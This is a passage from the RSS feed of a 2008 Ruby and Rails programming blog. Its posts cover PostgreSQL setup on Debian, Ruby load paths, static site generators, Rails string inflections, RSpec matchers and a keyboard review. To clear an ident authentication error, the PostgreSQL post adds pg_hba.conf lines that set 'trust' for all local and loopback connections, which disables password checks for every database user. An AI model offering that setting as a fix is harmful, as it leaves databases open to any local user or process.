load path issues.  Even after hacking up the file that was whining
with liberal amounts of load path unshifting, it still acted funny.
Also, it clutters up your system with basically a whole new branch of
ruby: gems, irb, ruby, you name it.  The last bit of annoynance was
that the deb they provide had a broken uninstaller, so I had to
manually remove /opt when I was purging it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/5Z-gISgzzXo" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 11 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/5Z-gISgzzXo/tweaking-apache-with-phusion-passenger</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/11/tweaking-apache-with-phusion-passenger</feedburner:origLink></item>
    <item>
      <title>Debian/Ubuntu Specific Rails with Postgresql</title>
      <description>&lt;p&gt;I spent the weekend migrating from my shared hosting at Dreamhost over
to VPS hosting at &lt;a href="http://www.silverrack.com/"&gt;SilverRack&lt;/a&gt;.  In the
move, I setup my housing app to run on postgresql instead of mysql.  I
was in for a few surprises though.&lt;/p&gt;&lt;p&gt;When I ran db:migrate, I got a strange error:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; rake aborted!
 No such file or directory - /tmp/.s.PGSQL.5432
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At first I thought it was because postgres wasn't started, but that
didn't make sense because I had another terminal with psql running
just fine.  If you follow the --trace message, you'll find that the
most poorly named option in database.yml will fix this problem:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; production:
   adapter: postgresql
   # ... other stuff
   host: /var/run/postgresql
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The 'host' parameter is the directory Rails looks in to get the tmp
file to determine how to connect to postgres.  I guess in other *nix
systems this is conventionally in tmp, but that's not true for Debian
based distros.&lt;/p&gt;&lt;p&gt;After fixing that, I ran into another little problem:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;psql: FATAL:  Ident authentication failed for user "xxx"
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This one comes as a result of good defaults by the Debian postgresql
configs.  A &lt;a href="http://semweb.weblog.ub.rug.nl/node/61"&gt;quick google&lt;/a&gt;
solved this one:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# add to pg_hba.conf, found in /etc/postgresql/...
local    all   all   trust
host     all   127.0.0.1  255.255.255.255    trust
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For a cheatsheet of setting up a Rails project with Postgresql, check
out &lt;a href="/articles/2008/02/05/setup_rails_with_postgresql/"&gt;this guide I wrote a while
back&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/jXhyD3bh9VI" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sun, 10 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/jXhyD3bh9VI/debian-ubuntu-specific-rails-with-postgresql</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/10/debian-ubuntu-specific-rails-with-postgresql</feedburner:origLink></item>
    <item>
      <title>Messy Ruby Requires</title>
      <description>&lt;p&gt;At some point in tinkering with a language, you outgrow simple scripts
and want to organize your code into separate modules that live in
separate files.  It's just this little OCD code habit you develop.
Since I've only been using Ruby with Rails up till now, loading and
importing the correct library files have been completely hidden away
by Rails convention and magic.  Everytime I want to use a library
named 'acts_as_giraffe', I either A) assumed it was loaded already, or
B) do &lt;tt&gt;require 'acts_as_giraffe'&lt;/tt&gt;.  But the real world's not
so easy.&lt;/p&gt;&lt;p&gt;Like other languages, Ruby has a concept of a load-path where it'll
search for .rb files to require.  To see what this defaults to, run
the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ruby -e 'puts $LOAD_PATH'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The shorter, perlish version is to use $: instead of $LOAD_PATH.  This
variable is just an array of directory names to search when require is
called.  To add or remove load paths, just mutate the list with shift
and unshift.  To see what Rails magic provides you, go to a Rails
project, and run &lt;tt&gt;script/console&lt;/tt&gt; and print $:&lt;/p&gt;&lt;p&gt;Amazing isn't it?  For my housing project that uses Edge Rails, I see
that the precendence for loading libraries is something along the
lines of:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;vendor/gems&lt;/li&gt;
&lt;li&gt;current directory&lt;/li&gt;
&lt;li&gt;system ruby libraries&lt;/li&gt;
&lt;li&gt;system ruby&lt;/li&gt;
&lt;li&gt;gems&lt;/li&gt;
&lt;li&gt;vendor/rails&lt;/li&gt;
&lt;li&gt;vendor/plugins&lt;/li&gt;
&lt;li&gt;app/models&lt;/li&gt;
&lt;li&gt;app/controllers&lt;/li&gt;
&lt;li&gt;app/views&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;This is a much longer list of paths to look for a library
compared to the first run I did on the command line.&lt;/p&gt;&lt;p&gt;What I like about this magic is that it keeps most of my code clear
from hardcoded or semi-hardcoded absolute paths like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;a href="http://blog.8thlight.com/articles/2007/10/08/micahs-general-guidelines-on-ruby-require"&gt;first hit on
google&lt;/a&gt;
about the topic is a pretty good explanation of the problem.  I agree
that a single giant 'require farm' is hard to unmaintain and pretty
unsightly, but I do think that small require farms that are associated
with specific modules and directories are a good way to organize.  For
example, if I had a library called 'obfuscator' that lives in many
separate files:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;obfuscator/
  crypt.rb
  cram.rb
  barf.rb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I'd add an 'obfuscator.rb' file that globed all the rb files and
required them:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Dir.glob(File.join('obfuscator', '*.rb')).each do |lib|
  require lib
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then whenever I wanted to use obfuscator, I'd simply require
'obfuscator.rb'.  The above would work if your current working
directory is the same as obfuscator.rb.  Unfortunately, if it isn't,
then you're screwed because require won't be able to find
obfuscator/*.rb relative to where you are.&lt;/p&gt;&lt;p&gt;One fix is to hard code the glob to be relative to the current file,
rather than the current working directory:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Dir.glob(File.join(File.dirname(__FILE__), 'obfuscator', '*.rb')).each do |lib|
  require lib
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will make the library lookups relative to 'obfuscator.rb'
(&lt;strong&gt;FILE&lt;/strong&gt;).  Since it's semi-hardcoded it'll work.&lt;/p&gt;&lt;p&gt;Another
&lt;a href="http://blog.objectmentor.com/articles/2008/07/20/bauble-bauble"&gt;solution&lt;/a&gt;
that I came across today that I liked is to have the library
to-be-loaded be in charge of doing the requiring.  I noticed that
&lt;a href="http://webby.rubyforge.org/"&gt;Webby&lt;/a&gt; also used a similar trick called
&lt;tt&gt;ensure_in_path&lt;/tt&gt; to calculate some library loading:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# Adds the given arguments to the include path if they are not
# already there
def ensure_in_path( *args )
  args.each do |path|
    path = File.expand_path(path)
    $:.unshift(path) if test(?d, path) and not $:.include?(path)
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I'll keep an eye out for other clean ways people have been approaching
this problem, but so far I like the approach of manipulating the load
path in a function or file, and having that function or file loaded
before the rest of the project.  I hope that clears up some requiring
woes!&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/ClR6FzEr8xk" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 7 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/ClR6FzEr8xk/messy-ruby-requires</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/07/messy-ruby-requires</feedburner:origLink></item>
    <item>
      <title>Flaco Crushers</title>
      <description>&lt;p&gt;Originally, this post was titled 'Ruby Markdown Implementations' and
I was going to talk about
&lt;a href="http://tomayko.com/writings/ruby-markdown-libraries-real-cheap-for-you-two-for-price-of-one"&gt;alternatives&lt;/a&gt;
to &lt;a href="http://www.deveiate.org/projects/BlueCloth"&gt;BlueCloth&lt;/a&gt;.  But while
I was reading up about &lt;a href="http://maruku.rubyforge.org/"&gt;Maruku&lt;/a&gt;, I
followed a link to &lt;a href="http://webgen.rubyforge.org/"&gt;webgen&lt;/a&gt;.  As if that
wasn't enough, reading up on webgen led me to yet another static site
generator called &lt;a href="http://webby.rubyforge.org/"&gt;webby&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Webgen&lt;/h2&gt;&lt;p&gt;&lt;a href="http://webgen.rubyforge.org/"&gt;Webgen&lt;/a&gt; is the first guy I found.  My
heart sunk a little for Flaco, but I was immediately impressed by it.&lt;/p&gt;&lt;h3&gt;Maturity&lt;/h3&gt;&lt;p&gt;Webgen has been around for a while, and is written by &lt;a href="http://rubyforge.org/users/gettalong/"&gt;Thomas
Leitner&lt;/a&gt;, who has been in the
Ruby community since at least 2004.  It looks like the project itself
has been actively developed since 2004, with the last release being
just a week ago.  At it's height, it had &lt;a href="http://rubyforge.org/project/stats/?group_id=296"&gt;over 900
downloads&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Code Quality&lt;/h3&gt;&lt;p&gt;Skimming through the code, it looks very clean and ruby-like.  There
are test cases and a custom test harness. The Rakefile has many tasks
for streamlining administrative tasks.  The RDoc link on the site is
broken, but there is very comprehensive RDoc that can be generated
with the source.  It's worth noting that for a project that started
over 4 years ago, the code doesn't look crufty or outdated at all.
Kudos to you Mr. Leitner.&lt;/p&gt;&lt;h3&gt;Licensing&lt;/h3&gt;&lt;p&gt;GPL V2.  Licensing doesn't really bother me, but it's worth
mentioning.&lt;/p&gt;&lt;h3&gt;Noteable Features&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;build custom webgen tags for an extensible templating language.&lt;/li&gt;
&lt;li&gt;meta information fields.&lt;/li&gt;
&lt;li&gt;clever configuration.&lt;/li&gt;
&lt;li&gt;clean way to specify the render chain. e.g. erb, then markdown&lt;/li&gt;
&lt;li&gt;plugin-like ways to add breadcrumbs and menus.&lt;/li&gt;
&lt;li&gt;caching (don't know the details, but it creates a cache file)&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Webby&lt;/h2&gt;&lt;p&gt;After poking around the edges of webgen, I googled for 'static site
generation' and found &lt;a href="http://webby.rubyforge.org/"&gt;Webby&lt;/a&gt;.  The webby
homepage wow-ed me more, but 'ASCII Alchemy' alone isn't enough
sometimes.&lt;/p&gt;&lt;h3&gt;Maturity&lt;/h3&gt;&lt;p&gt;There's both a rubyforge and a github project for webby.  The fact
that it uses github and rspec makes me think that &lt;a href="http://www.pea53.com/"&gt;Tim
Pease&lt;/a&gt; is on top of his ruby fashion.  The last
commit on github was a mere &lt;em&gt;2 hours&lt;/em&gt; ago.  The whole project was
started about a year ago.&lt;/p&gt;&lt;h3&gt;Code Quality&lt;/h3&gt;&lt;p&gt;Webby also looks pretty clean and ruby-like.  I can't quite put my
finger on it, but I think I liked how webgen was laid out better.  I
didn't spend as much time in the webby code, but it seems like it
isn't split up as well as webgen and might be harder to add new
features.  The RDoc didn't seem as good as webgen's.  I reserve final
judgement for later.&lt;/p&gt;&lt;h3&gt;Licensing&lt;/h3&gt;&lt;p&gt;MIT License.  How chic.&lt;/p&gt;&lt;h3&gt;Noteable Features&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;better guides and community for support&lt;/li&gt;
&lt;li&gt;use of rake for all actions&lt;/li&gt;
&lt;li&gt;autobuild feature&lt;/li&gt;
&lt;li&gt;build pages from templates&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Both Webgen and Webby share a lot of features.  The ones that don't
overlap seem like they could be written because of the clean
architectures they both seem to follow.  The features webby lists and
shows in it's tutorial seem to match more with what I want for my
blog.&lt;/p&gt;&lt;p&gt;I'm happy to have found these two projects because they both do what I
want them to.  It saves me a ton of work in doing not-so-much tasks
like command line parsing and setting up library paths.  On top of
that, I can imagine adding the features that I wanted in Flaco that
aren't available in these systems.  They might even turn out to be
features that could be useful to other people :)&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/veyxSBW1GuA" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 6 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/veyxSBW1GuA/flaco-crusher</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/06/flaco-crusher</feedburner:origLink></item>
    <item>
      <title>Flaco Rewrite</title>
      <description>&lt;p&gt;I've been happily using my own ghetto blog I named &lt;a href="/articles/2008/01/27/flaco-blog"&gt;Flaco
Blog&lt;/a&gt;.  The beauty of forcing myself to eat my
own software is that I can't really complain about it.  Either
something works exactly as I want it, or it slowly irritates me until
it overcomes the effort needed to rewrite it.  So why am I proposing a
rewrite?&lt;/p&gt;&lt;p&gt;Overall, I must say I'm very happy with Flaco.  It's simpler to setup and
use than all the other blog engines I've tried to use in the past.  As
far as bugs go, the scope of what I want is so well defined that all
the bugs I had were really minor.  What I haven't been enjoying is
hacking the code.  It feels more like a chore than fun.  And like I
said, I feel that I've finally been irritated enough to warrant some
action.&lt;/p&gt;&lt;p&gt;Earlier, I made this &lt;a href="/articles/2008/05/20/my-perl"&gt;whole rant&lt;/a&gt; about enjoying
Perl.  I still feel that everything I said is true, but instead of
working on features I wanted, I spent my time pouring over CPAN
deciding what object libraries to use.  I had become a &lt;a href="http://www.pchristensen.com/blog/articles/hey-language-snobs-dont-pinch-pennies/"&gt;language penny
pincher&lt;/a&gt;:
mulling over how to do things and losing site of my goals.&lt;/p&gt;&lt;p&gt;The new plan is to use Ruby.  I won't use Rails because that doesn't
really suit the purpose of Flaco.  Using Ruby will allow me to trickle
some of the stuff I learn from work back home.  Also, it'll let me
explore the non-Rails parts of Ruby.  Here's what's in store for the
coming days.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;existing publish features of Perl Flaco.&lt;/li&gt;
&lt;li&gt;extraction of blog system configuration.&lt;/li&gt;
&lt;li&gt;separation of blog content and blog system&lt;/li&gt;
&lt;li&gt;incremental publishing (publish only since last published)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Those bullets are somewhat ordered for the coming days.  The last one
will be the new and interesting bit.  I'm really looking forward to
it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/w3W3ApSvGO4" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 5 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/w3W3ApSvGO4/flaco-rewrite</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/05/flaco-rewrite</feedburner:origLink></item>
    <item>
      <title>My Keyboard</title>
      <description>&lt;p&gt;... is awesome.  I have the same keyboard at home and at work.  It
does everything that I want a keyboard to do.  It looks fantastic.  It
feels fantastic.  It types fantastic.  And best of all, it does all of
this without any drama.&lt;/p&gt;&lt;p&gt;&lt;img src="/images/natural_ergo_4000.jpg" alt="wired microsoft natural ergonomic
split keyboard" style="float: left"&gt;
I got my first &lt;a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;amp;location=http%3A%2F%2Fwww.amazon.com%2FMicrosoft-Natural-Ergo-Keyboard-4000%2Fdp%2FB000A6PPOK&amp;amp;tag=what0d-20&amp;amp;linkCode=ur2&amp;amp;camp=1789&amp;amp;creative=9325"&gt;Microsoft
Natural Ergo 4000&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=what0d-20&amp;amp;l=ur2&amp;amp;o=1" width="1" height="1" border="0" alt="" style="border:none !important;
margin:0px !important;"&gt; after a gruesome compiler's project at
school.  My shoulders were hurting from the crappy chair and table
combination, and my forearms were sore and numb from using the iBook
keyboard.&lt;/p&gt;&lt;p&gt;I never used an ergo-split keyboard for an extended period of time
before this.  It's not that I hated them or anything, it's just I
didn't really see a point to using one.  After that painful 164
project, I figured that every little bit might help, so I gave the
split keyboard a shot.&lt;/p&gt;&lt;p&gt;The keyboard came in a crummy cheap-o box with crummy software, and a
crummy piece of plastic designed to be placed under the keyboard and
get in your way.  Take my advice and just toss all of this as soon as
possible.  Setup was super easy since it's just a USB keyboard.  I
opted away from the &lt;a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;amp;location=http%3A%2F%2Fwww.amazon.com%2FMicrosoft-Natural-Ergonomic-Desktop-7000%2Fdp%2FB000Q6UZBM%3Fie%3DUTF8%26s%3Delectronics%26qid%3D1217917027%26sr%3D8-1&amp;amp;tag=what0d-20&amp;amp;linkCode=ur2&amp;amp;camp=1789&amp;amp;creative=9325"&gt;Microsoft
Natural Ergonomic Desktop 7000&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=what0d-20&amp;amp;l=ur2&amp;amp;o=1" width="1" height="1" border="0" alt="" style="border:none !important;
margin:0px !important;"&gt; purely because wireless keyboards require
too much maintenance.  I don't care if battery life gets better and
better.  I know the one time I don't have pre-charged batteries will
be the one time the batteries in the keyboard decides to die.  I think
the 7000 is a better deal overall if I didn't have a mouse already.&lt;/p&gt;&lt;p&gt;Overall impressions have been great.  I never notice my keyboard these
days.  That's exactly how I'd like a keyboard to behave: working and
unnoticeable.  I had to unlearn a few bad touch-typing mistakes like
6, and 7.  The other complaint I had was the lack of support for
mapping the media buttons in OS X.  I would've really loved to have
the back/forward/scroll buttons work since they're near my thumb and
index fingers.  Thankfully, the back and forward buttons don't click
anymore so it doesn't matter if OS X supports them or not.&lt;/p&gt;&lt;p&gt;I highly recommend the Microsoft Natural Ergo 4000 keyboard.  In fact,
I highly recommend all Microsoft keyboards and mice.  They're always
a good deal when it comes to comfort and features.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/Cy4tA2eJqhg" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sun, 3 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/Cy4tA2eJqhg/my-keyboard</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/03/my-keyboard</feedburner:origLink></item>
    <item>
      <title>Emacs Info</title>
      <description>&lt;p&gt;Just a quick cheatsheet of how to get around in Info mode in Emacs.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;n,p - next previous nodes&lt;/li&gt;
&lt;li&gt;u   - up a node&lt;/li&gt;
&lt;li&gt;m   - menu items (things that start with *)&lt;/li&gt;
&lt;li&gt;f   - cross references (things underlined)&lt;/li&gt;
&lt;li&gt;m?, f? - list of cross refs or menus&lt;/li&gt;
&lt;li&gt;l,r   - last, reverse-last&lt;/li&gt;
&lt;li&gt;t   - top node&lt;/li&gt;
&lt;li&gt;d   - directory (index of info)&lt;/li&gt;
&lt;li&gt;q   - quit&lt;/li&gt;
&lt;li&gt;M-x info-appropos&lt;/li&gt;
&lt;li&gt;g   - goto node (by name)&lt;/li&gt;
&lt;li&gt;1..9 - menu item by number&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;a href="http://www.neilvandyke.org/sicp-texi/sicp.info.gz"&gt;SICP in Info Format!&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.pchristensen.com/blog/articles/setting-up-and-using-emacs-infomode/"&gt;Setting up your own Info
docs&lt;/a&gt;&lt;/p&gt;&lt;p&gt;This came about because I was having some trouble installing
&lt;a href="http://rinari.rubyforge.org/"&gt;rinari&lt;/a&gt; for emacs.  On the plus side, I
got to read through some intro material about emacs lisp and came
across &lt;a href="http://www.pchristensen.com/blog/articles/hey-language-snobs-dont-pinch-pennies/"&gt;what's in peter's
head&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/V1VWfXxh6kU" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sat, 2 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/V1VWfXxh6kU/emacs-info</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/02/emacs-info</feedburner:origLink></item>
    <item>
      <title>Rails String Inflections</title>
      <description>&lt;p&gt;I've been using
&lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/CoreExtensions/String/Inflections.html#M000488"&gt;constantize&lt;/a&gt;
to turn strings into Class objects.  Constantize is mixed into the
String class by Rails.  This got me to thinking about other clever
helpers that might be mixed into the string class.  A quick search
through the API did not disappoint.&lt;/p&gt;&lt;p&gt;In
&lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/CoreExtensions/String/Inflections.html"&gt;ActiveSupport::CoreExtensions::String::Inflections&lt;/a&gt;,
I found a whole list of goodies.  I can find the database table name
for a given class with 'tableize'.  If I just wanted a Class name
string instead of a Class object, I can use 'classify'.  'dasherize'
probably isn't too useful for me, but I thought it was cute.  I can
see 'demodulerize' and 'foreign_key' to be very useful.  'humanize',
'pluralize', 'titleize' could be really useful for manipulating text
before it's rendered for the user.  'underscore' can be used to
calculate paths to files based on their class names.&lt;/p&gt;&lt;p&gt;Here's a quick cheatsheet of all the methods.&lt;/p&gt;&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;method&lt;/th&gt;
&lt;th&gt;before&lt;/th&gt;
&lt;th&gt;after&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;camelcase   &lt;/td&gt;
&lt;td colspan="2"&gt;same as camelize&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;camelize    &lt;/td&gt;
&lt;td&gt;i_like/them_camels&lt;/td&gt;
&lt;td&gt;ILike::ThemCamels&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;classify    &lt;/td&gt;
&lt;td&gt;fish_and_chips&lt;/td&gt;
&lt;td&gt;FishAndChip&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;constantize &lt;/td&gt;
      &lt;td colspan="2"&gt;classify, then turns it into a class object&lt;/td&gt;
  &lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dasherize   &lt;/td&gt;
&lt;td&gt;this_ones_cute&lt;/td&gt;
&lt;td&gt;this-ones-cute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;demodulize  &lt;/td&gt;
&lt;td&gt;Strings::All::This::Class&lt;/td&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;foreign_key &lt;/td&gt;
&lt;td&gt;Namespace::Model&lt;/td&gt;
&lt;td&gt;model_id&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;humanize    &lt;/td&gt;
&lt;td&gt;employee_salary_id&lt;/td&gt;
&lt;td&gt;Employee salary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pluralize   &lt;/td&gt;
&lt;td&gt;sheep&lt;/td&gt;
&lt;td&gt;sheep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;singularize &lt;/td&gt;
&lt;td&gt;sheep&lt;/td&gt;
&lt;td&gt;sheep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tableize    &lt;/td&gt;
&lt;td&gt;FrenchToast&lt;/td&gt;
&lt;td&gt;french_toasts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;titlecase   &lt;/td&gt;
&lt;td colspan="2"&gt;same as titleize&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;titleize    &lt;/td&gt;
&lt;td&gt;good night moon&lt;/td&gt;
&lt;td&gt;Good Night Moon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;underscore  &lt;/td&gt;
&lt;td&gt;NameSpace::Model&lt;/td&gt;
&lt;td&gt;name_space/model&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/T-0oWMtcofQ" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 30 Jul 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/T-0oWMtcofQ/rails-string-inflections</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/07/30/rails-string-inflections</feedburner:origLink></item>
    <item>
      <title>RSpec'ing acts\_as\_state\_machine</title>
      <description>&lt;p&gt;One of my favorite plugins I've seen so far is
&lt;a href="http://agilewebdevelopment.com/plugins/acts_as_state_machine"&gt;acts_as_state_machine&lt;/a&gt;.
It's a dead simple way to model the different states your models can be
in.  It also lets you register callbacks to when a model enters,
entered, or leaves a particular state.  It's absolutely fantasic until
I have to test it.  Then it becomes an absolute nightmare.&lt;/p&gt;&lt;p&gt;The first intuitive, but horrifically wrong idea is to stub out the
current state:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@model.stub!(:state).and_return('old_state')
@model.some_event!
@model.state.should == 'new_state'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The problem with this is the mock will always return old_state, even
if some_event! caused @model to go into new_state.&lt;/p&gt;&lt;p&gt;A less intuitive, but workable solution is to check that the
transition event was fired:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@model.should_receive(:update_attribute).with(@model.class.state_column, "matched")
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is a little nicer, but kind of obscures the intention of the
test.  So ideally, I'd like to be able to say something like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@model.should transition_to('matched').from('draft')
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Thankfully, the crappy RSpec documentation does cover this case.  It
was easy to write a &lt;a href="http://rspec.rubyforge.org/rdoc/classes/Spec/Matchers.html"&gt;custom expection
matcher&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;module ActsAsStateMachineMatchers
  class Transition
    def initialize(expected)
      @expected = expected
    end

    def matches?(target)
      @target = target
      @target.should_receive(:update_attribute).
        with(@target.class.state_column, @expected)
    end

    def failure_message
      &amp;lt;&amp;lt;-MSG
      expected #{@target.inspect} to transition to state
      #{@expected}, but in state {@target.state}
      MSG
    end

    def negative_failure_message
      &amp;lt;&amp;lt;-MSG
      expected #{@target.inspect} to transition to state
      #{@expected}, but in state {@target.state}
      MSG
    end
  end

  def transition_to_state(expected)
    Transition.new(expected)
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is one step away from my ideal case because I was too lazy to a
Spec::Mocks::Methods with a corresponding
Spec::Mocks::MessageExpectation, which is what 'should_receive' and
'with' are.  If I ever get unlazy enough to poke into the code more, I
could write the analogous 'should_transition_to', and 'from'.  This
might be a good excuse to open a github account and play with that too
:)&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/KdMtnSTQtOY" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 24 Jul 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/KdMtnSTQtOY/rspecing-acts-as-state-machine</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/07/24/rspecing-acts-as-state-machine</feedburner:origLink></item>
    <item>
      <title>First Sprint</title>
      <description>&lt;p&gt;Today at work, I sat in my first &lt;a href="http://en.wikipedia.org/wiki/Planning_poker"&gt;planning
poker&lt;/a&gt; meeting.  This was
in preparation of our next 4 weeks of development time.  We used the
&lt;a href="http://planningpoker.com/"&gt;Planning Poker&lt;/a&gt; site to vote on suggested
projects.  I had read a little bit about user stories back in my Rails
class, but the few times I tried practicing agile development
methodologies were always met with whining and criticism.  It's good
to be at a place where people support this.&lt;/p&gt;&lt;p&gt;The meeting brought up a lot of vague and not fully defined problems
that we need to work on.  It didn't help with researching or the
actual design needed for some of the problems.  However, it was still
good to have a 30,000 mile view of what's coming up for the next
month.  Two things that caught my attention that I'd like to read more
into are &lt;a href="http://codeforpeople.rubyforge.org/svn/bj/trunk/README"&gt;Background
Job&lt;/a&gt; to
replace &lt;a href="http://backgroundrb.rubyforge.org/"&gt;BackgrounDRB&lt;/a&gt;, and
&lt;a href="http://www.sphinxsearch.com/"&gt;Sphinx&lt;/a&gt; to replace &lt;a href="http://projects.jkraemer.net/acts_as_ferret/"&gt;Acts as
Ferret&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Originally I had planned to have one day this weekend dedicated to
writing and testing some features for housing, but the time
disappeared and I lacked to motivation to pick that up.  Hopefully
next week will bring more updates in that area.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/WLufqiptWJQ" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 18 Jul 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/WLufqiptWJQ/first-sprint</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/07/18/first-sprint</feedburner:origLink></item>
    <item>
      <title>Dangerous Scaffolding</title>
      <description>&lt;p&gt;I did something bad today.  It wasn't bad enough to destroy working
customer instances, but it was enough to make all the dev team all up
in a huff.  The worst part of the whole experience was a) I didn't
remember I was the one who nuked it, and b) it got nuked because of
